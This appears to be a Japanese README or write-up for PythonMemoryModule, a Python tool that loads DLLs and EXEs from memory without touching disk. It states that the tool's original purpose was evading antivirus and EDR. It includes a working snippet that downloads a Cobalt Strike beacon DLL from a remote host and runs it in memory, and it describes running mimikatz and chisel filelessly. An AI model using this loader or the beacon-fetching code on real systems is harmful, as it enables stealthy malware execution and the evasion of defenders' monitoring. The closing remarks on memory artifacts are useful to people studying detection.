
メモリからDLLおよびアンマネージドexeを完全に読み込むためのMemoryModuleテクニックのpure-python実装
MemoryModule技術の純粋なPython実装。DLLまたはアンマネージドEXEをメモリから完全にロードします。
"Python memory module" AI生成画像 - hotpot.ai
PythonMemoryModuleは、Joachim Bauch氏が最初に公開したMemoryModule技術のPython ctypes移植版です。外部ライブラリ(pyd)を必要とせずにPythonを使用してDLLやアンマネージドEXEをロードでき、コマンドラインパラメータの受け渡しを(部分的に)サポートしています。
このツールは、PEヘッダーの解析にpefile、プロセスパラメータへのアクセスにPythonForWindows、そして主要な処理にctypesを利用しています。元々はPyramidモジュールとして、python.exeにdll/exeペイロードをメモリから完全にロードすることでAV/EDRに対する回避を提供するために考案されましたが、他のユースケース(IP保護、pydのメモリ内ロード、他のステルス技術への派生)も可能であるため、専用のリポジトリを作成することにしました。
次の例では、Cobalt StrikeのステージレスビーコンDLLをダウンロード(ディスクに保存せず)、メモリにロードし、エントリポイントを呼び出して起動します。
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
注意: malleableプロファイルでステージングを使用する場合、DLLはLoadLibraryでロードできないため、MemoryModuleは機能しません。

次の例では、コマンドラインパラメータ渡し機能を使用して、chiselをメモリ内で実行します。
この技術は、実行時にPEB上のCommandLineパラメータを上書きすることで実装されています。引数の受け渡しに使用される関数に依存するため、すべての実行可能ファイルで動作するわけではありません。
一般的に、普遍的に動作する技術を得るには、GetCommandlineA、GetCommandlineW、__getmainargs、__wgetmainargsをフックする必要があります。PEBの上書きではすべてのケースをカバーできないためです。詳細はこちら
テスト中、mimikatzやいくつかのGoバイナリはPEB上書きだけで動作することがわかりました。一方、mingwやVisual StudioでコンパイルされたバイナリへのPEB上書きのみによるコマンドライン受け渡しはおそらく機能しません。
MemoryModule技術を使用すると、ほとんどの場合、対象DLLのセクションの権限が尊重され、ノイズの多いRWXアプローチは回避されます。ただし、プログラムメモリ内には、ディスク上のDLLにバックアップされないプライベートコミットが存在し、これがMemoryModuleの特徴的な痕跡となります。